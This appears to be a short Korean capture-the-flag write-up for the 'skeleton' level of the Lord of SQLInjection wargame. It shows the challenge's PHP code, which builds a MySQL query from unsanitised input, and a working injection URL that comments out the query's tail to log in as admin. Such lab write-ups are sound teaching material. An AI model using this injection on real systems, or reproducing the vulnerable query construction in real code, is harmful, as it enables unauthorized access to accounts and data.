CTF/LOS
[LOS] skeleton 풀이 - 10번
Te_ra
2020. 9. 15. 23:37
[LOS] skeleton 풀이
PHP & query
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
select id from prob_skeleton where id='guest' and pw='' and 1=0
문제 풀이
더보기

solve 조건
if($result['id'] == 'admin') solve("skeleton");
id값이 admin이면 해결된다
Query
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
and 1=0; 부분을 주석처리 하면 쉽게 해결된다. #을 이용해 주석처리한다.
목표 SQL쿼리
select id from prob_skeleton where id='guest' and pw='' or id ='admin' # and 1=0
#삽입으로 인해 뒷 부분이 주석처리된다
URL
los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=' or id ='admin' %23
